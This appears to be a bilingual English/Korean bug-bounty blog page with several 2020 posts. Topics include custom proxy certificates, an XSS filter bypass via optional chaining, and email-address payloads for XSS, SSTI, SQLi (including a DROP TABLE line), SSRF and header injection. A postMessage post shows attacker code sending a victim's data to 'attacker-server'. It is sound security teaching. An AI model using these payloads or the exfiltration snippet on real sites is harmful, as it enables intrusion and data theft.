7/04/2020

One custom certificate, Using all tools and your devices (for bug bounty/pentesting)

I use both Burp pro/ZAP/Cli base proxy. When it comes to simply testing the web, it doesn't come as big, but when testing mobile, the certificate is quite annoying. (Especially the test phones that are temporarily used..)

So, starting this year, we have created a custom certificate rather than the default certificate for each tool and applied it to various tools. Today I am writing as a way to create a custom certificate and apply it to various devices and tools.


저는 Burp pro / ZAP / Cli base proxy 3가지 모두를 사용합니다. 단순히 웹만 테스팅할 땐 크게 와닿지 않지만, 모바일을 테스트할 땐 인증서가 상당히 귀찮습니다. (특히 임시로 사용하는 폰들은..)

그래서 올해부터 Burp / ZAP 등의 기본 인증서가 아닌 별도로 인증서를 생성해서 모든 테스팅 기기가 공유 하면서 사용하고 있는데요. 최근에 회사 맥북을 변경 하면서 다시 세팅이 필요해서 겸사겸사 메모 했던 걸 글로 풀어 봅니다.


TL;DR

# make key
openssl genrsa -out ca.key 2048

# make cert 
openssl req -days 365 -key ca.key -x509 -new -nodes -sha256 -out ca.pem

# make PKCS#12 file
openssl pkcs12 -out ca.p12  -inkey ca.key -export -in ca.pem

# on burp 
# Proxy > Options > Import / export CA Certificate > Add ca.p12 

# on ZAP
# Options > Dynamic SSL Certificate > Load > Add ca.p12 

# on iOS 
# Settings > General > Profile & Device Management > Installation
# Settings > General > Information > Certificate trust settings > Trust the registered certificate

# on Mac
# double click pem file > Add system keychain > Set trust all this pem


Make you custom certificate file

First, create a key file

먼저 키 파일을 생성 해줍니다.


openssl genrsa -out ca.key 2048


Next, let's create an x509 certificate with the generated key file. Importantly, -days options.

Due to the iOS policy, certificates created after September 2020 cannot have an expire time of 368 days or more. So I set it to 365 days.


그다음 생성된 키 파일로 x509 인증서를 만들어 줍시다. 여기서 중요한 건 -days 옵션으로 유효 기간을 1년으로 지정해 주었는데, 이는 iOS쪽 인증서 정책으로 인해 1년 이상의 인증서는 유효하지 않게 보기 때문에 1년으로 주었습니다.


openssl req -days 365 -key ca.key -x509 -new -nodes -sha256 -out ca.pem


https://support.apple.com/en-us/HT211025

What's changing
TLS server certificates issued on or after September 1, 2020 00:00 GMT/UTC must not have a validity period greater than 398 days.

This change will affect only TLS server certificates issued from the Root CAs preinstalled with iOS, iPadOS, macOS, watchOS, and tvOS. Additionally, this change will affect only TLS server certificates issued on or after September 1, 2020; any certificates issued prior to that date will not be affected by this change.

Connections to TLS servers violating these new requirements will fail. This might cause network and app failures and prevent websites from loading.


2020.09.01 이후 생성된 인증서 부터 적용이라 기존에 쓰시는 건 크게 지장 없을 순 있는데요, 요즘 GTS(Google Trust Services) 인증서도 갱신 주기를 짧게 가져가고 있어서, 어찌보면 구글도 비슷한 정책을 적용할 수도 있다고 생각이 드네요. (다만 COVID19로 인해 모든게 딜레이 되었으니 당분간은 괜찮을 거에요)


GTS... 3month??


Next, it is created with PKCS#12. This supports DER and PKCS#12, #11 for both Burp / ZAP. Just make it according to your personal preference.

다음으론 PKCS#12 로 생성해줍니다. 이는 Burp / ZAP 모두 DER과 PKCS#12, #11을 지원하는데요. 그냥 개인의 기호에 따라 만들어주시면 됩니다.


p12 파일 생성

openssl pkcs12 -out ca.p12  -inkey ca.key -export -in ca.pem


The difference is that PKCS#12 has both the certificate/private key in the file.

다른 점은 PKCS#12가 파일 내 인증서/개인키를 모두 가지고 있다는 점입니다.


p12 / pem summary

[ Add pkcs12 ]
on Burp
on ZAP

[ Add pem file ]
Android 
iOS
Mac Application
Etc..  


on Burpsuite

Proxy > Options > Import / export CA Certificate > Add ca.p12

At this time, it asks for the password. Enter the password used to create p12 (pkcs12).

이 때 패스워드를 물어보는데, p12(pkcs12) 생성 시 사용한 패스워드를 넣어 줍니다.



on ZAP

Options > Dynamic SSL Certificate > Load > Add ca.p12

p12 password, same here

Burp와 동일하게 p12 파일 만들 때 사용한 패스워드를 같이 입력해 줍니다.



for MAC Application

When testing PC applications such as Mac/Windows, a lot of local proxies are used. At this time, it is convenient to register a certificate and set trust in each OS. I only have a Mac environment, so I only write on a Mac basis.

Open the ca.pem file you just created in finder. Then, it will be registered directly in the keychain. At this time, you can always set it to Trusted by double click pem file > Add system keychain > Set trust all this pem


Mac/Windows 등 PC application을 테스트할 땐 로컬 프록시를 많이 이용하는데요,이때 각 OS에도 인증서를 등록하고 신뢰설정 해두면 편리합니다. 저는 Mac 환경만 있으니 Mac 기준으로만 작성합니다.

아까 만든 ca.pem 파일을 finder에서 열어줍니다. 그러면 키체인에 바로 등록이 되는데요, 이 때 인증서 클릭 > 정보보기 > 신뢰설정에서 모두 항상 신뢰함으로 설정해 주시면 됩니다.


for iOS Devices

Download pem file on iOS devices and install it. I just moved the file to Airdrop and installed it.

Settings > General > Profile & Device Management > Installation

After that, you need to set the trust of the certificate for not problem.

Settings > General > Information > Certificate trust settings (at the bottom) > Trust the registered certificate


pem 파일 받아서 설치해주시면 됩니다. 저는 그냥 Airdrop으로 파일 이동 후 설치했습니다.

설정 > 일반 > 프로파일 및 기기 관리 > 설치

이후에 인증서 신뢰설정을 해줘야 문제없이 사용이 가능합니다.

설정 > 일반 > 정보 > 인증서 신뢰설정(맨 아래) > 등록한 인증서 신뢰처리



for Android Devices

Since Android 7, the difference in user/system certificate authority, simply put it into the sdcard and install it, all traffic is not caught. So I need to put the PEM file in the system certificate path. (If you did the above using DER format, you must create a pem file by format conversion. openssl x509 -inform DER -in "cacert.der" -out burp.pem)

안드로이드는 7 이후부터 사용자/시스템 인증서 권한 차이로 단순하게 sdcard에 넣어서 설치하는 방법으론 모든 트래픽이 잡히지 않습니다. 그래서 PEM 파일을 system 인증서 경로에 넣어줘야합니다.

(만약 위 과정을 DER로 하셨다면 포맷 변환으로 pem 파일을 만들어줘야합니다 openssl x509 -inform DER -in "cacert.der" -out burp.pem)


First, look at the subject hash of the pem certificate file with openssl. The 8-character hash value is displayed.

먼저 openssl로 pem 인증서 파일의 subject hash를 봅니다. 8글자의 해쉬값이 나타닙니다.


openssl x509 -inform PEM -subject_hash_old -in ca.pem

0bcb8637
-----BEGIN CERTIFICATE-----
MIICuDCCAaACC


Now rename the pem file to hash + .0. The reason for this change is that it is the format used by the Android system.

이제 pem 파일의 이름을 hash + .0 로 바꿔줍시다. 이렇게 변경하는 이유는 안드로이드 시스템에서 사용하는 포맷이기 때문이에요.


cp ca.pem 0bcb8637.0


Then, put the file as /sdcard as adb and remount the android system to grant write permission.

그다음 adb로 파일을 /sdcard로 넣어준 후 android system을 remount 하여 쓰기 권한을 부여합니다. (기본적으론 readonly)


adb push 0bcb8637.0 /sdcard
adb shell
$ su
$ mount -o remount,rw /system
$ cp /sdcard/0bcb8637.0 /system/etc/security/cacerts/
$ chmod 644 /system/etc/security/cacerts/0bcb8637.0


Then, put the file as /sdcard as adb and remount the android system to grant write permission.

그다음 위와 같이 system 인증서 경로(/system/etc/security/cacerts/) 에 넣어 주시고 권한 설정만 해주시면 끝납니다.



Share: | Coffee Me:

6/20/2020

Bypassing string base XSS protection with Optional chaining

Hi hackers and bugbounty hunters :D 

Today, I share very very very simple tip for xss.

I found an interesting XSS code while reading your tweet.

트윗을 보다가 재미있어 보이는 XSS 페이로드를 봤습니다.

void''??globalThis?.alert?.(...[0b1_0_1_0_0_1_1_1_0_0_1,],)

 


Sometimes, shared from hunters, payload certainly contains hints for us to solve the defense against XSS. So I took a quick look at Payload and thought about whether there was a technology that could actually be used.

역시 잘 동작하고 있구요. 이런 페이로드에서는 분명히 우리가 XSS에 대한 방어로직을 풀 수 있는 힌트가 들어있기 마련입니다. 그래서 페이로드를 한번 가볍게 살펴보고 실제로 쓸만한 기술이 있을지 고민을 해봤습니다.


 

TL;DR

// if string base xss protection like this
document.cookie => filtered

//bypass it this code
document?.cookie => bypassed

 

Analysis This Payload!

globalThis is the same as this. Just returns an object with a global this value.

globalThisthis와 동일합니다. 그냥 전역 this 값을 가진 객체를 반환합니다.


globalThis?.alert?.()

.=> alert()


https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/globalThis

 

결국 풀어서 보면 아래와 동일한 코드가 됩니다.


this.alert()

 

One interesting thing is that ? is added to objects such as globalThis and alert, but the absence of colon is felt simply as a not ternary operator. I searched for something because I didn't know, and mdn says this is "Optinal chaining".

하나 재미있는건, globalThis , alert 과 같은 객체에 모두 ? 를 붙여준건데요, 단순히 삼항연산자라고 보기엔 콜론의 부재가 느껴집니다. 잘 모르던거라 찾아봤더니 Optinal chaining 라고하네요.

 

Finally, a string starting with 0b is a simple binary value.

0b 는 2진수 패턴으로 저 값은 2 진수로 10100111001을 의미합니다. 자릿수 사이의 _ 는 그냥 크게 의미 없는 값입니다.


...[0b1_0_1_0_0_1_1_1_0_0_1,],

=> 1337
0b101101

=> 45

 

What is optional chaining?

Optional chaining allows you to read property values that are deep within the linked object chain without explicitly verifying that each reference in the chain is valid. '?.' behaves similar to ',' but if the reference is null or undefined, the return value is undefined and returns undefined if there is no function during the function call phase.

optional chaining는 체인의 각 참조가 유효한지 명시적으로 검증하지 않고, 연결된 객체 체인 내에 깊숙이 위치한 속성 값을 읽을 수 있습니다. ?. 는 '.' 과 유사하게 동작하지만, 만약에 참조가 null이나 undefined가 발생한다면 리턴값이 undefined가 되고 함수 호출 단계에선 함수가 없다면 undefined라 리턴됩니다. 만약에 document.location 이런 형태로 문자열 검증이 있다고 할 때 document?.location 이런 형태로 우회해서 사용해볼 여지는 있네요.

 

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Optional_chaining

 

Bypassing xss protection with optional chaining

If your case, filtered like the string 'document.cookie', you can use optional chaining.

만약 document.cookie라는 문자열을 필터링한다면 optional chaning 을 이용해 우회가 가능할 것 같네요.


document.cookie => filtered
document?.cookie => bypassed


특정 객체들을 참조하지 못하도록 막아놓은 상태에선 쓸만한 것 같습니다~ (물론 다른 방법도 많겠지만요)

 

Share: | Coffee Me:

6/16/2020

E-mail 포맷을 이용한 여러가지 Exploiting 기법들 (You've got email pwned korean review)

Recently, the nahamcon2020 was in over. I difficult to watching it in my time zone, so I just looked at the documents after it's over. They were all very interesting and I learned a lot of new things. Today I'm going to talk about the email attack that I saw the most interesting among them.

Of course, if you using english, best document is original material, so refer to the link below, and I will write only in Korean today!


https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view 



서론이 길었군요. 정말 오랜만에 글을씁니다. COVID19 이후 벌써 반년정도 재택근무를 하고 있고, 출퇴근 시간을 아끼다보니 블로그 글을 쓰는 시간보다 개발하거나 개인적인 연구를 하는 시간이 좀 더 늘어난 것 같습니다. (글 쓸 시간이 없었다고 핑계를 대는중)

 

아무튼 최근에 Nahamcon2020이 진행됬고, 이 글을 읽는 여러분들과 동일하게 우리의 타임존은 정말 심각한 새벽이기 때문에 직접보기에는 조금 어렵습니다. 솔직히 진짜 내용 다 재미있고 놓쳤던 부분들을 다시 한번 체크하게 해주는 내용들이 꼭 읽어보시길 바랍니다.


Who, What, Where, When, Wordlist

You've Got Mail Pwned

Owning Online Games with only web hacking experience

Practical Attacks Using HTTP Request Smuggling

나머진 아직 못찾았어요..


오늘은 그중에선 Email에 대한 이야기를 할거구요. 가볍에 어떤 내용인지만 정리하려고 합니다. 실제 케이스들은 직접 발표자료 보셔서 확인하시는게 제일 좋을 것 같아요.

 

E-mail address?

Email의 포맷은 local part + domain part 로 구성되어 있습니다.



localpart

기본적으로 local part는 영 대소문자 + 숫자, . 과 일부 특수문자 정도만 사용 가능합니다.


Latin letters A-Z and a-z 
 - a@example.com
 
Digits 0 to 9
 - 1337@example.com
 
Dot . (Not first character, not last one, no consecutive dots
 - john..doe@example.com
 
Printable characters !#$%&'*+-/=?^_`{|}~
 - alice&john!@example.com
 
International characters (above U+007F, encoded as UTF-8)
 - jöhn.døê@gmail.com


다만 더블 쿼터(") 로 쌓여있다면 이야기가 달라집니다. " ( ) , : ; < > @ [ ] , space, tab, emoji 등 일반적인 상황의 local part에서 쓸 수 없는 문자들을 사용할 수 있어집니다.


Extra characters: "(),:;<>@[\]
- "\"@example.com (quotes and backslashes need a backslash)
- "@"@example.com

Spaces, tabs
- " "@example.com

Even emoji’s
- "�"@gmail.com

 

domain part

는 아시다싶이 대소문자 + 숫자, - 정도만 가능합니다. 이건 고정된 포맷이라 건드릴수가 없습니다.

 

Payloads

자 위에서 일부 특수문자를 보신순간 바로 몇가지 떠오르셨겠지만 결국 email의 local part, 즉 사용자 이름 부분에 특수문자를 사용할 수 있다는 의미고 특수문자를 기반으로 한 웹 공격에는 모두 사용될 수 있는 의미이기도 합니다.


TypePayload
XSStest+(<script>alert(0)</script>)@example.com
test@example(<script>alert(0)</script>).com
"<script>alert(0)</script>"@example.com
SSTI"<%= 7 * 7 %>"@example.com
test+(${{7*7}})@example.com
SQLi"' OR 1=1 -- '"@example.com

"mail'); DROP TABLE users;--"@example.com
SSRF (Era of ssrf)john.doe@abc123.burpcollaborator.net
john.doe@[127.0.0.1]
Parameter pollutionvictim&email=attacker@example.com
Email header injection"%0d%0aContent-Length:%200%0d%0a%0d%0a"@example.com
"%0d%0aContent-Length:%200%0d%0a%0d%0a"@example.com
Wildcard abuse%@example.com


예를들면, A라는 시스템이 사용자의 email 정보를 저장해서 어드민에 뿌려주는데, 이 떄 일반적인 email 검증 패턴으론 hahwul@gmail.com<svg/onload=alert(45) 같은 페이로드는 잘 걸러집니다. (왜냐면 도메인 파츠에선 특수문자를 사용할 수 없으니깐요) 또한 유저 이름 구간에 들어간다고 해도, 그 결과는 동일합니다. < > 등을 사용할 수 없는건 마찬가지죠.

 

이제 우리는 "( ) 등을 이용해서 사용자 이름 구간에 특수문자를 삽입하는 법을 알았으니, 이런 방식의 공격코드 구성이 가능해집니다.

"hahwul<svg/onload=alert(45)>"@gmail.com

 

다른 케이스도 비슷비슷합니다.

Bypassing verify logic

두번쨰, 이러한 규칙을 이용하면 bypassing을 위한 특별한 케이스를 만들어낼 수 있습니다. 아래 2가지 케이스를 보면 ..

john.doe+intigriti@example.com → john.doe@example.com
john.doe(intigriti)@example.com → john.doe@example.com


위에껀 + 가 붙은 경우인데, 이 때 + 뒤의 문자열은 무시되고 앞의 local part 를 기준으로 메일주소로 인식합니다. 두번째도 비슷한데, ( ) 안의 문자열은 무시됩니다.

 

이제 각종 검증 로직 우회를 위한 패턴을 만들어낼 수 있습니다.


inti(;inti@inti.io;)@whitelisted.com
 → inti(; 
 → inti@inti.io → my inbox!
 → ;)@whitelisted.com
 
inti@inti.io(@whitelisted.com)
inti+(@whitelisted.com;)@inti.io

 

Conclusion

이게 단순히 email system에서만 사용되는거라면, 그냥 가볍게 볼 내용이지만 실제로 Email format은 다른 웹 서비스/환경에서도 굉장히 많이 사용되고 있는 패턴이라 잘 숙지해둬야할 것 같네요 :D

Share: | Coffee Me:

5/31/2020

Setup bugbounty hunting env on termux :D

The termux in my memory was Linux on Android, which was only available with some Linux commands.

So I usually remember using it on rooting device. Recently, I found out that packages such as rust and golang can be used on termux among tweets from 1ndianl33t, so I finally set them up on the test phone today. writing note for me :D

 

제 기억속의 termux는 일부 리눅스 명령 사용만 가능한 안드로이드 위의 리눅스였습니다.

그래서 보통 루팅과 함께 사용했던 기억이 있네요. 최근에 1ndianl33t 와의 트윗 중 termux에서 rust, golang 등의 패키지 사용이 가능한걸 알고 오늘에서야 테스트폰에 세팅을 진행했습니다. 메모 차원에서 작성해둡니다 :D

 




Oneline script for me

$ pkg install rust perl make golang git vim nmap htop ; cargo install findomain; go get -v github.com/projectdiscovery/naabu/cmd/naabu; go get -u github.com/tomnomnom/meg;  go get -v github.com/projectdiscovery/subfinder/cmd/subfinder; go get -u github.com/tomnomnom/qsreplace; go get -u github.com/tomnomnom/httprobe; go get github.com/haccer/subjack; go get -u github.com/tomnomnom/assetfinder; git clone https://github.com/hahwul/dalfox ; cd dalfox ; go install; git clone https://github.com/tomnomnom/hacks ; 

 

Install important package(rust, perl, make, golang, git)

$ pkg install rust perl make golang git vim

 

Install RUST base tool

$ cargo install findomain

etc...

 

Install golang base tool

$ go get -u github.com/tomnomnom/meg
$ go get -v github.com/projectdiscovery/subfinder/cmd/subfinder
$ go get -u github.com/tomnomnom/qsreplace

etc...

 




building golang package

$ git clone https://github.com/hahwul/dalfox
$ cd dalfox
$ go build
$ ./dalfox

or go install


etc...

 

Share: | Coffee Me:

5/17/2020

golang 어플리케이션 self update 적용하기(github latest version 기반)

메모 차원에서 작성합니다.

dalfox 1.1 버전대 업데이트에서 큰 부분 중 하나가 self-update입니다. 이전에 xspear, a2sv 등에서도 여러가지 방법으로 self-update를 지원했었는데 이번 dalfox는 바이너리로 컴파일되서 배포되기 때문에 고민이 좀 많았습니다.
(이전까진 git command 기반으로 update 시켰거든요..)

그래서 git api로 release 버전 체크 후 바이너리를 교체할 방법으로 만들려고 하던 중 혹시나 해서 찾아봤더니 정말 좋은 모듈이 있어서 쉽게 해결했습니다.

Self update with go-github-selfupdate

go-get으로 모듈을 설치하신 후 ..

go get -u https://github.com/rhysd/go-github-selfupdate

아래 코드같은 형태로 self update가 가능합니다. 재미있는 점이라면, github의 주소를 기반으로 latest 버전을 체크하고, OS 타입에 맞는 바이너리를 받아 현재 실행중인 바이너리와 바꿔주는겁니다. (만들려고 했던 모든게 다있었네요)

import (
    "bufio"
    "github.com/blang/semver"
    "github.com/rhysd/go-github-selfupdate/selfupdate"
    "log"
    "os"
)

const version = "1.2.3"

func confirmAndSelfUpdate() {
    latest, found, err := selfupdate.DetectLatest("owner/repo")
    if err != nil {
        log.Println("Error occurred while detecting version:", err)
        return
    }

    v := semver.MustParse(version)
    if !found || latest.Version.LTE(v) {
        log.Println("Current version is the latest")
        return
    }

    fmt.Print("Do you want to update to", latest.Version, "? (y/n): ")
    input, err := bufio.NewReader(os.Stdin).ReadString('\n')
    if err != nil || (input != "y\n" && input != "n\n") {
        log.Println("Invalid input")
        return
    }
    if input == "n\n" {
        return
    }

    exe, err := os.Executable()
    if err != nil {
        log.Println("Could not locate executable path")
        return
    }
    if err := selfupdate.UpdateTo(latest.AssetURL, exe); err != nil {
        log.Println("Error occurred while updating binary:", err)
        return
    }
    log.Println("Successfully updated to version", latest.Version)
}

Using on DalFox

샘플코드 참조해서 아래와 같이 구성했습니다. 앱 내부에서 version 정보를 가지고 있는데, 이를 selfupdate의 DetectLatest 함수를 통해 얻은 마지막 버전과 비교 후 낮은 버전이라면 패치를 진행합니다.

package cmd

import (
 "bufio"
 "fmt"
 "github.com/blang/semver"
 "github.com/hahwul/dalfox/pkg/printing"
 "github.com/rhysd/go-github-selfupdate/selfupdate"
 "github.com/spf13/cobra"
 "os"
)

// updateCmd represents the update command
var updateCmd = &cobra.Command{
 Use:   "update",
 Short: "Update DalFox (Binary patch)",
 Run: func(cmd *cobra.Command, args []string) {
  confirmAndSelfUpdate()
 },
}

func init() {
 rootCmd.AddCommand(updateCmd)
}

func confirmAndSelfUpdate() {
 version := printing.VERSION[1:]
 latest, found, err := selfupdate.DetectLatest("hahwul/dalfox")
 if err != nil {
  printing.DalLog("ERROR", "Error occurred while detecting version", optionsStr)
  return
 }

 v := semver.MustParse(version)
 if !found || latest.Version.LTE(v) {
  printing.DalLog("SYSTEM", "Current version is the latest", optionsStr)
  return
 }

 fmt.Print("Do you want to update to", latest.Version, "? (y/n): ")
 input, err := bufio.NewReader(os.Stdin).ReadString('\n')
 if err != nil || (input != "y\n" && input != "n\n") {
  printing.DalLog("ERROR", "Invalid input", optionsStr)
  return
 }
 if input == "n\n" {
  return
 }

 exe, err := os.Executable()
 if err != nil {
  printing.DalLog("SYSTEM", "Could not locate executable path", optionsStr)
  return
 }
 if err := selfupdate.UpdateTo(latest.AssetURL, exe); err != nil {
  printing.DalLog("SYSTEM", "Error occurred while updating binary", optionsStr)
  return
 }
 printing.DalLog("SYSTEM", "Successfully updated to latest version", optionsStr)
}


덕분에 매우 쉽게 해결했습니다 :D


Share: | Coffee Me:

5/15/2020

Vulnerability of postMessage and postMesasge-tracker browser extension

Hi hackers and bugbounty hunter!

Recently, @frans released a browser extension called postMessage-tracker and I found it. So today I'm wrting about the expansion and postMessage.

frans announced the analysis of postMessage under the title Attacking Modern Web Technologies) in 2018 AppSec, and this extension release this month.

frans가 2018 AppSec 에서 Attacking modern web technologies 란 타이틀로 postMessage에 대한 분석에 대한 이야기를 발표했었는데요, 이 때 소개한 Browser Extension이 이번달 릴리즈되어 관련 내용 가볍게 공유할까 합니다.



What is postMessage

The window.postMessage() method safely enables cross-origin communication between Window objects; e.g., between a page and a pop-up that it spawned, or between a page and an iframe embedded within it.
Normally, scripts on different pages are allowed to access each other if and only if the pages they originate from share the same protocol, port number, and host (also known as the "same-origin policy"). window.postMessage() provides a controlled mechanism to securely circumvent this restriction (if used properly).
Broadly, one window may obtain a reference to another (e.g., via targetWindow = window.opener), and then dispatch a MessageEvent on it with targetWindow.postMessage(). The receiving window is then free to handle this event as needed. The arguments passed to window.postMessage() (i.e., the “message”) are exposed to the receiving window through the event object.
https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage

(MDN을 보세요. https://developer.mozilla.org/ko/docs/Web/API/Window/postMessage)

Analysis Vulnerability of postMessage

I wrote about the vulnerability of postMessage in 2016. Unfortunately, I only wrote in Korean at that time. It's about XSS and Sensitive data leak, and if you're curious, please use the translator!

관련해선 예전에 정리해둔글이 있으니 한번 참고해주세요. (벌써 4년전에 쓴 글이라.. 잘못된 부분도 좀 있을 수 있습니다. 감안해주세요..ㅎㅎㅎㅎㅎ)

https://www.hahwul.com/2016/08/web-hacking-html5-postmessage-api.html

요약하면
1) XSS
2) Sensitive Data Leakage
3) Etc...

XSS

It's mainly shown in the AppSec video above, and as I mentioned in my previous article, XSS is the best and most influential. This code is probably weak. The code below is the code that passes the data received by b.data.evalCall to the factor value of the eval, where postMessage can be used to trigger XSS by passing the attack phrase like the second code on the page you call.

위에 AppSec 영상에서도 주로 나오고, 제가 예전 글에서도 언급했듯이 XSS가 가장 잘 나오고, 영향도도 높습니다. 대략 이런 코드가 취약하겠네요. 아래 코드는 b.data.evalCall으로 받은 데이터를 eval의 인자값으로 넘기는 코드인데, 이 때 postMessage를 사용한다면 호출하는 페이지에서 두번째 코드와 같이 공격구문을 전달하여 XSS를 트리거시킬 수 있습니다.

function (b){b.data.evalCall&&eval("("+b.data.evalCall+")")}
b.postMessage({"evalCall":"alert(document.domain)"},"*")

This is possible if the postMessage call section is weak or the CORS setting on the receiving side is weak. As you can see from the MDN document, postMessage follows SOP.

postMessage를 호출하는 구간이 취약하거나 받아주는 쪽의 CORS 설정이 취약한 경우 가능한데요..
(MDN 문서를 보시면 아시겠지만 postMessage는 SOP를 따릅니다)

https://developer.mozilla.org/ko/docs/Web/API/Window/postMessage

Below is a related case, so please refer to
아래는 관련 사례이니 참고해주세요.

https://hackerone.com/reports/398054
https://www.hahwul.com/2019/02/postmessage-xss-on-hackerone-by-adac95-review.html

Sensitive data leakage

With postMessage, you can also steal sensitive data. Like JSON Hijack or several data deodorization techniques, postMessage requires verification of the requested window (Parent) when sending data. If an attacker calls a vulnerable page into Child on their site and asks for the ability to collect information through postMessage, it's easy to get your information.

취약 페이지가 중요정보를 postMessage를 통해 전송하고 SOP가 우회된 경우 공격자가 피해자 세션의 중요 데이터를 postMessage를 통해 받아올 수 있습니다.

vuln page
function parent_getUserInfo()
{
   var userdata=[name,age, 등등...];
   parent.postMessage(userdata);
}
attacker
<img src="http://attacker-server/?" id=message>  <!-- 공격자 페이지 -->
<script>
 window.onmessage = function(e){    // data를 읽어와서
 document.getElementById("message").src += "&"+e.data; //
</script>

It's usually caused by a chain attack when there's a lack of verification of the parent page in a child page, or if there's a vulnerability in it.

아마.. 보통은 child page에서 parent 페이지에 대해 검증이 부족하거나 검증된 parent 페이지에 XSS등의 취약점이 있는 경우 연쇄작용으로 발생하겠네요.

How to use postMessage-tracker?

https://github.com/fransr/postMessage-tracker
$ git clone https://github.com/fransr/postMessage-tracker


Chrome(firefox) => Setting => Extension => Load from file or dir

Although the description says it was made for Chrome, it is actually available on the cross platform because the Chromium engine-based browser as well as the firebox use the same JavaScript extension.

When you access the page where postMessage is inserted with the extension installed, the extension shows the relevant code. You can look at this, see if it leads to XSS or other vulnerabilities, and then switch to vulnerabilities.

이후 Chrome(firefox) => Setting => Extension => Load from file or dir 순서로 진입하셔서 확장 기능을 로드해주시면 됩니다. 브라우저별로 상이하니 이 부분은 사용하시는 브라우저에 따라서 찾아보시면 될 것 같습니다.

설명으론 크롬용으로 만들었다곤 하지만, 실제로 크로미움 엔진 기반 브라우저는 물론 firefox도 동일하게 자바스크립트 확장기능을 사용하기 때문에 크로스 플랫폼에서 사용이 가능합니다.
확장 기능이 설치된 상태에서 postMessage가 삽입된 페이지에 접근하게 되면 관련 코드를 확장기능에서 보여줍니다. 이걸보고, XSS나 다른 취약점으로 연결될지 분석하고 취약점으로 바꿔먹으면 됩니다.




Reference

https://github.com/fransr/postMessage-tracker
https://www.youtube.com/watch?v=oJCCOnF25JU
https://developer.mozilla.org/ko/docs/Web/API/Window/postMessage
https://www.hahwul.com/2016/08/web-hacking-html5-postmessage-api.html
https://www.hahwul.com/2019/02/postmessage-xss-on-hackerone-by-adac95-review.html
Share: | Coffee Me: